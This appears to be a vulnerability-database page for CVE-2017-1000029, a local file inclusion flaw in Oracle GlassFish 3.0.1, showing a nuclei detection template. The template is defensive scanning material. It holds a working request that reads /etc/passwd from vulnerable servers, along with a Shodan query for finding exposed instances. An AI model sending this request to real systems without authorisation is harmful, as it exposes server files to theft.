Browse / CVEs / CVE-2017-1000029
CVE-2017-1000029· oracle / glassfish server· CWE-200
Oracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion
Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.
Impact
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
Fix
Apply the latest patches and updates provided by Oracle to fix the LFI vulnerability in GlassFish Server.
How to confirm it
Send: GET {{BaseURL}}/resource/file%3a///etc/passwd/
Positive when: matches /root:[x*]:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2017-1000029 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-1000029
info:
name: Oracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Apply the latest patches and updates provided by Oracle to fix the LFI vulnerability in GlassFish Server.
reference:
- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18784
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-011/?fid=8037
- https://nvd.nist.gov/vuln/detail/CVE-2017-1000029
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-1000029
cwe-id: CWE-200
epss-score: 0.08348
epss-percentile: 0.95
cpe: cpe:2.3:a:oracle:glassfish_server:3.0.1:*:*:*:open_source:*:*:*
metadata:
max-request: 1
vendor: oracle
product: glassfish_server
shodan-query: cpe:"cpe:2.3:a:oracle:glassfish_server"
tags: cve,cve2017,glassfish,oracle,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/resource/file%3a///etc/passwd/"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- type: status
status:
- 200References
- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18784
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-011/?fid=8037
- https://nvd.nist.gov/vuln/detail/CVE-2017-1000029
Use this check only on systems you are authorised to test. Where the data comes from